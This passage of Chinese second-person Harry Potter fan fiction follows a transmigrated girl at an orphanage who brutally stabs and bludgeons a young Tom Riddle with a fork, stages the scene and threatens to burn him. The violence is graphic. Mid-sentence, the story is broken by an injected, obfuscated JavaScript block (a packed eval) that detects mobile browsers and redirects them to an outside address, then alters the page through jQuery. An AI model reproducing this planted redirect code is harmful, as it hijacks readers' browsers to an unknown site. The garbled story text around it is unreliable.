“系统,出来。”
房间重新恢复宁静后,你直直从床上坐起。
“他是伏地魔。”
孤儿,会魔法的坏种,还能够操控某种你看不见的东西进行攻击...大概率是蛇。这样就对上了。他就是伏地魔,你看不见他的蛇...你为什么看不见他的蛇?
“他为什么会是伏地魔?我们不是应该在哈利·波特的时代吗??这才是《哈利·波特》的开始啊!”大脑连着头皮宛如电流走过,阵阵发麻,“你说过我要在《哈利·波特》的世界里找我妈的!我为什么会在——”
系统:对不起,我不知道他是不是伏地魔。
系统:但是,《哈利·波特》的世界不只有霍格沃茨这一处地方,更不只有哈利·波特所在的这一个时代。
系统:你的妈妈,也不一定在霍格沃茨。
你睁大了眼,一阵寒意顺着脊背蔓延至全身,指尖轻微痉挛。
“所以,我的妈妈不一定是个巫师,甚至不一定与JK罗琳的魔法世界有什么牵连...她可能是这广袤无垠世界里的任何人。”
陌生人,普通人,擦肩而过的路人。
那你要怎么找到她?
你陷入绝望。
翌日。
你在这种绝望的情绪之中混混沌沌了一整天。
不单是保姆们,就连孩子们都纷纷察觉到了你的异样。
她们由此得出结论:汤姆真是把你吓得几乎掉魂了。
这实在是情有可原,你实在是个可怜的好孩子。她们只能尽力安抚你一切已经过去了。
平时最偏爱你的保姆在午后敲响了你的房门。她带来了你最喜欢的甜点与绘本。在把你彻底哄睡之前,她轻轻亲吻你的额头,告诉你科尔夫人和她们都会保护你的,你不需要害怕,只需要为明天即将来到孤儿院挑选孩子的夫妇做好准备。
这话让你些许回神。
是啊,你还有任务,你还得找到妈妈,这样才能在现实里拯救她。
...
人类失去母亲,为什么还能活着呢?
妈妈将你带来世界上,如果她要走的话,应该也把你带走才对。
你不要成为她的“遗产”。
你是这样想的。
...那么。
其实希望渺茫也无所谓不是吗?
倒不如说,应该感谢这点微薄的希望。因为只要还有这点希望,你就还有往下走的意义和目标。
你不是遗产,不是孤独行走于世的幽灵,你是正在寻找妈妈的孩子。
你是妈妈的孩子。
你强迫自己重振旗鼓,振作精神,为被收养一事全力以赴。
你放出口信,扬言自己对此势在必得,从而旁敲侧击其余人最好识趣一点,不要与你竞争,他们争也争不过。
到了当天,你起了个大早,将自己收拾得整整齐齐。你挑了一条素色的裙子,略微泛旧,但极其干净整洁;你给自己绑了一个鱼骨辫,没戴多余的发饰,而是摘了一朵漂亮的小花别在发尾,你准备在某个示好的时刻取下它,将它送给前来挑选孩子的那位夫人。
你不轻不重地扇了自己几巴掌,好让脸颊像个微红的苹果;你反复啃咬上下嘴唇,以使其润泽通透,显得你唇红齿白。
临出房门前,你仔细对照镜子——明眸皓齿,气血红润,体态像只小天鹅,简直是鹤立鸡群的灵动。
你自信地挺起胸膛,迈出房间。
吃完早餐,保姆便领着孩子们早早前往大堂等候。
没过多久,一辆不俗的轿车驶来,在孤儿院正门停下。科尔夫人殷切上前,同下车的夫妻俩握手。
你被保姆安排在中间最显眼的位置。
科尔夫人引着这对夫妻朝你们走来,他们面相亲和,笑容友善。
你甜甜地笑了起来——
咚!
一个装满红色油漆的铁桶,毫无预兆地自空中坠落,不偏不倚地砸在了你头上!
伴随着清晰的骨头碎裂的声音,金属闷响贯穿耳膜,在颅内炸开。
你轰然倒地。
脑内充斥着嗡鸣,你听不太清耳边或恐慌或关切的人声。你的视野一片赤红,你分辨不出那是油漆还是你的血。
视野剧烈震荡,第一视角仰面上翻,你不知道自己是从哪里来的力气翻身平躺的...噢,原来是保姆正抱着自己。
你漂浮于第三视角,左右环顾。
没有人。
那就是他了。
你恨恨咬紧了牙关。
你要弄死他,既然他弄不死你,那就等着被你弄死吧。
液体晃动的声音抚平脑内的嗡鸣,将第三视角倒灌回第一视角。
你怒火中烧,无边的愤怒快要将你烧成一具空壳。你简直需要立刻揪出他、杀了他,然而——你的眼皮却空前的沉重。
你睁不开眼了。
你坠入一片黑暗。
...
再次苏醒时,没有疼痛与耳鸣,只有头上缠着的厚重纱布,与夜晚的宁静。
系统:你醒了?你还好吗?
你缓冲了几秒钟,大脑重启,随即立刻起身。
“我要杀了他。”
你从床底摸出先前与餐刀一起偷出来的餐叉。
系统试图劝阻你,你只回应:第一,他毁了你完成任务一的最佳时机,你是过来寻找、拯救妈妈的,你没有功夫陪着这个世界的人耗;第二,他对你下的是死手,你不绝此后患,以后就永无宁日,任务一的完成也会遥遥无期。
杀了他,一切就都迎刃而解了。
你雷厉风行冲去了惩戒室。
你将一字发卡掰成一根铁丝,顾不得任何原理,粗暴地对准锁孔捅了几番。
这个铜锁头陈旧又简单,在被你一通凌虐过后,终于啪嗒一声打开了。
你走了进去,还未看清里面的景象,脖颈便猛地传来一道贯穿性的痛楚——视野震荡,视角飘忽,液体晃动。这熟悉的流程令你更加怒不可遏。
他竟然还敢对你出手!
找死!
你竟然还没被他弄死!
汤姆恼恨地想着。
还来不及开口,就见你大步朝他走来。他心知不妙,作势闪躲,却还是被你扑倒按住,压在身下。
你骑在他身上,一手像是要掐死他那样用力掐着他的脖子,另一手举起餐叉,不给他任何辩驳的机会,狠狠刺进他的胸口。
汤姆痛呼出声,表情扭曲。他想说我们可以谈一谈之类的废话拖住你,然而你压根不给他开口的机会——不只是时间层面的机会,还有行动层面的机会。你几乎是在往死里掐他,掐得他眼冒金星,喉管生疼。
他说不出话来,他想让自己召来的毒蛇停止攻击你,它弄不死你,只会更加激怒你,可他说不出话来。
你用餐叉在他皮肉底下使劲翻搅戳刺,直到觉得已经从这头捅到另一头了,你才放过这块稀烂的血肉,转而抓起他的头发,拎着他的脑袋反复砸地,就像摔一个大西瓜。
失血,窒息,撕裂的剧痛也无法聚拢逐渐涣散的意识。
汤姆感觉到了恐惧。
他不想死,他生而奇异、强大,他有着常人所没有的本事,他还没有找到并且报复将他抛弃的父母,他怎么能这样软弱地死去?
他好恨,恨到了极点,于是反而示弱地流下眼泪。
他拼尽全力,终于能够发出嗬嗬的气音,他尝试与你对话。
“对不起...”该死的贱种,他一定要杀了你。
“我错了...对不起...”他要将你碎尸万段,让你以最痛苦耻辱的方式死去。
“饶过我...求你了...放过我...我什么都愿意...”
“自作自受的坏种。我曾招惹过你吗?是你先攻击的我,几次三番要对我下死手。杀人犯自己还怕死?”你动作未停,语气冷漠,“我原谅不了你,原谅你是上帝的事,我能做的是送你去见上帝。”
为魔法世界除一巨害。
阿门。
确认他没了鼻息和心跳,你将现场伪装成他私带餐叉进入惩戒室,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17398731|200395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结果半夜不小心摔倒,头部受伤的同时,衬衫前胸口袋内的餐叉也造成了贯穿伤,最终失血过多而死。
顺带还能作证餐刀也是他偷的。
你清理掉有关自己的一切痕迹,自门外重新上锁后,心情舒畅地返回了房间,一觉到天明。
先前来洽谈领养事宜的夫妻受到了惊吓,决定换家别的孤儿院。你也因为被油漆桶砸出了脑震荡,修养许久才逐渐好转。
不过没关系,否极泰来,你总还会有机会的。
你的心情方才见好,谁知,这天艾米突然和你聊起,汤姆被科尔夫人放出来了。
你睁大双眼,“他...被放出来了?!”
怎么可能?!你杀了他啊!这次你不仅确定了鼻息,还确定了心跳...他是王八吗?还能假死?!还是说他能复活?他也是不死之身?不不不,如果他原本就是不死之身,他还鼓捣什么魂器,追求什么永生?
艾米重重点头,“对啊!竟然才关半个月?我总觉得油漆桶那件事,八成也是他在背后搞鬼。汤姆会些恶魔的把戏,这件事大家都知道。科尔夫人应该一直关着他,或者把他送进监狱!”
你听不进去这些,此刻你只关心一件事——
所以他为什么还是没死?!
...他几乎是死里逃生。
他差点再次“死”在你的手上。
汤姆阴鸷地盯着镜子里自己胸口落下的疤。
第一次,是蛇救了他。他当时头破血流,昏迷不醒,蛇将他从土层里拱出,看守他直至他醒来。
第二次,又是蛇救了他。他不清楚究竟为什么你能无视他召来的数不清的蛇,不仅是眼睛与注意力层面的无视,更是生理上的无视。你仿佛是不死的,魔法操纵物体砸不死你,毒蛇也咬不死你,你会无数次重新站起来对他进行反击。幸亏,那条始终不曾放弃攻击你的小型毒蛇,最后咬在了你的手腕——那一刻,你正在探他的心跳。
一瞬间的麻痹,再次救了他的命。
他恨毒了你,比他仇恨所有人更甚;可他也不由自主地对你产生了几分畏惧,这是他对别人从未有过的。
他厌恶承认这点,然而事实就是,你比他更加强大。
他的强大来源于他的天赋,他会魔法,他拥有与蛇沟通的能力。
你的强大来源于你的力量,你是不死的。
他在意识到这点以后,感到痛恨又兴奋,他要搞清楚你为什么不会死。
当然,在此之前,他仍旧不死心地尝试过一段时间的报复。
他策划了几次谋杀,均以失败告终,然后你回过头来就会去杀他。他使劲浑身解数,才能一次次在你手底下侥幸逃生。
你烦得不行,索性向保姆讨了一支着色力强的画笔,开始在他胸口的疤上画正字,每杀一次记一笔。
他恼怒地问你这个标记是什么,你轻飘飘地回答说是奴隶印,失败者一辈子也洗不掉的图腾。
最后一次,你已经写完了一个正字,你面无表情地看着他的“尸体”,说再有下回,你就鞭他的尸。
这让他彻底认清,短期内最好不要再尝试对你下手,直到他变得更加强大,有足够把握一击毙命。
他掩藏起对你的恶意与杀心,一改前态,毫无心理负担地转为对你示好。
“我们和他们是不一样的,我们都有特殊的强大能力。”
他尝试洗脑、引诱你。
“强者和强者才应该做朋友,先前那些不愉快,只是我们在彼此确认这一点。”
你打断了他想要展示自己能够与蛇沟通的表演,眼皮都没有掀一下。
“我现在不一门心思的弄死你,只是因为我还有正事要做,我没空和你耗。你已经毁了我一次被领养走的机会,再有下次,我会把你像中世纪的巫师那样...”
说到这里,你不禁发笑。
你从绘本里抬头,看向他。
“哦对,你会魔法,你是个货真价实的巫师。那么,我也将用货真价实的中世纪办法,把你货真价实的烧死,烧得只剩一捧灰。”